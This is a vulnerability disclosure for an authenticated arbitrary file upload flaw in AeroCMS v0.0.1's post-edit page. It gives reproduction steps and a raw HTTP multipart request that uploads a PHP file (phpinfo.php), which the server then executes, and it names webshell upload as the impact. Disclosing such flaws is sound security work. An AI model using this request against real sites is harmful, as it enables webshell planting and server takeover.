AeroCMS v0.0.1 Arbitrary File upload vulnerability

[w4n95]

• Description

---

In AeroCms v0.0.1, an arbitrary file upload vulnerability at /admin/posts.php?source=edit_post , through which we can upload webshell and control the web server.

• Step to Reproduct

---

1. Login to admin panel -> Posts -> View All Posts -> Edit
   

2. when jump to the post edit page, and you can see that the function of uploading pictures exists. upload malicious file phpinfo.php
   

3. When upload success access '/images/phpinfo.php', the file was successfully uploaded and executed
   

• Vulnerable Code

---

No file checking before uploading in edit_post.php file

• POC

---

`POST /AeroCMS/admin/posts.php?source=edit_post&p_id=3 HTTP/1.1
Host: 192.168.111.169
Content-Length: 991
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.111.169
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryi7wHcLADqqvNM4nO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.111.169/AeroCMS/admin/posts.php?source=edit_post&p_id=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2m17ikpogrvubj8l2687hc3n45
Connection: close

------WebKitFormBoundaryi7wHcLADqqvNM4nO
Content-Disposition: form-data; name="post_title"

mysql
------WebKitFormBoundaryi7wHcLADqqvNM4nO
Content-Disposition: form-data; name="post_category_id"

1
------WebKitFormBoundaryi7wHcLADqqvNM4nO
Content-Disposition: form-data; name="post_user"

admin
------WebKitFormBoundaryi7wHcLADqqvNM4nO
Content-Disposition: form-data; name="post_status"

draft
------WebKitFormBoundaryi7wHcLADqqvNM4nO
Content-Disposition: form-data; name="image"; filename="phpinfo.php"
Content-Type: application/octet-stream

------WebKitFormBoundaryi7wHcLADqqvNM4nO
Content-Disposition: form-data; name="post_tags"

mysql, database
------WebKitFormBoundaryi7wHcLADqqvNM4nO
Content-Disposition: form-data; name="post_content"

AeroCMS is created with mysql database.

------WebKitFormBoundaryi7wHcLADqqvNM4nO Content-Disposition: form-data; name="update_post"

Edit Post
------WebKitFormBoundaryi7wHcLADqqvNM4nO--
`